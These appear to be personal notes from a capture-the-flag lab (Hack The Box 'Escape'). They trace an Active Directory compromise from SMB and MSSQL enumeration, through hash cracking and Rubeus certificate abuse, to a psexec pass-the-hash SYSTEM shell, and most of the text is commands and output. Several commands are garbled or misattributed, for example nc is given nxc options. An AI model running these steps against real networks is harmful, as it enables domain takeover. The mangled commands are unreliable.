

Wednesday, May 28, 2025 10:18 PM

- ```
1. nxc smb share > smbclient access public folder > get publicuser cred
2. nxc mssql > mssqlclient.py login > capture hash of sql_svc > crack and get sql_svc user creds
3. nxc winrm > evil-winrm login > enumerate sql folder and error log > get nyan.cooper creds
4. nxc winrm > evil-winrm login > certificate user authentication vulnerable > use rubeus.exe and get administrator hash
5. nxc smb > psexec.py login with administrator hash > get system!
```

[illegible]

Not Secure <https://dc.sequelh3b3269>

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Someone could be trying to impersonate the site and you should not continue.

Websites prove their identity via certificates. Firefox does not trust dc.sequelh3b3269 because its certificate issuer is unknown, the certificate is self-signed, or the server is not sending the correct intermediate certificates.

Error code: **SEC\_ERROR\_UNKNOWN\_ISSUER**

[View Certificate](#)

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about:certificate?cert=MIIFTCcBhgAwIBAgITHgAA...

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## Certificate

(unknown)

|             |        |
|-------------|--------|
| Issuer Name | Intb   |
| Common Name | sequel |

Validity

|            |                               |
|------------|-------------------------------|
| Not Before | Thu, 18 Jan 2024 23:03:57 GMT |
| Not After  | Fri, 05 Jan 2024 23:03:57 GMT |

```
Check certificate
(kali@kali)-[~/Desktop/htb/escape]
$ openssl s_client -showcerts -connect 10.129.228.253:3269 | openssl x509 -noout -text | less -s
```



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port check.  
target winrm port 5986 is not open. This why we cannot login winrm over ssl.

```
kali@kali:~/Desktop/htb/escape$ nc -zv 10.129.228.253 5986
```

Confirm that port 5986 is not open on target.

```
kali@kali:~/Desktop/htb/escape$ netstat -ano | findstr 5986
TCP 0.0.0.0:5986 *:* LISTENING 3188
```

```
kali@kali:~/Desktop/htb/escape$ mkdir ggwp
```

```
kali@kali:~/Desktop/htb/escape$ cd ggwp
kali@kali:~/Desktop/htb/escape/ggwp$ upload Rubeus.exe
Info: Uploading /home/kali/Desktop/htb/escape/Rubeus.exe to C:\ggwp\Rubeus.exe
Data: 623956 bytes of 623956 bytes copied
Info: Upload successful!
kali@kali:~/Desktop/htb/escape/ggwp$ upload cert.pfx
Info: Uploading /home/kali/Desktop/htb/escape/cert.pfx to C:\ggwp\cert.pfx
Data: 4588 bytes of 4588 bytes copied
Info: Upload successful!
```

We can tell the system owner (root) is administrator.

```
kali@kali:~/Desktop/htb/escape$ net user
```

```
User accounts for \\

Administrator Brandon.Brown Guest
James.Roberts krbtgt Nicole.Thompson
Ryan.Cooper sql_svc Tom.Henn
The command completed with one or more errors.
```

```
.\Rubeus.exe asktgt /user:administrator /certificate:C:\ggwp\cert.pfx (this won't give us hash)
```

This will get us administrator hash.

```
.\Rubeus.exe asktgt /user:administrator /certificate:C:\ggwp\cert.pfx /getcredentials /show /nowrap
```

```
kali@kali:~/Desktop/htb/escape$.\Rubeus.exe asktgt /user:administrator /certificate:C:\ggwp\cert.pfx /getcredentials /show /nowrap
```

```
*) Getting credentials using U2U
```

```
CredentialInfo
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : A52F78E4C751E5F5E17E1E9F3E58F4EE
```

smb turned

```
kali@kali:~/Desktop/htb/escape$ nc -nv 10.129.228.253 445 -u administrator -H A52F78E4C751E5F5E17E1E9F3E58F4EE
SMB 10.129.228.253 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing: True) (SMBv1:False)
SMB 10.129.228.253 445 DC [*] sequel.htb/administrator:A52F78E4C751E5F5E17E1E9F3E58F4EE (Pwned!)
```

login smb

```
psexec.py -hashes A52F78E4C751E5F5E17E1E9F3E58F4EE:A52F78E4C751E5F5E17E1E9F3E58F4EE administrator@10.129.228.253
```

hashes = LM:NT (we can put NT hash twice because it does not use LM hash at all)

```
kali@kali:~/Desktop/htb/escape$ psexec.py -hashes A52F78E4C751E5F5E17E1E9F3E58F4EE:A52F78E4C751E5F5E17E1E9F3E58F4EE administrator@10.129.228.253
/home/kali/.local/share/pipx/venvs/impacket/lib/python3.11/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
 import pkg_resources
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[*] Requesting shares on 10.129.228.253.....
[*] Found writable share ADMIN$
[*] Uploading file RIVIX2ef.exe
[*] Opening SMBConnection on 10.129.228.253.....
[*] Creating service u0b0 on 10.129.228.253.....
[*] Starting service u0b0.....
[*] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.2746]
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C:\Windows\system32> whoami
nt authority\system
```

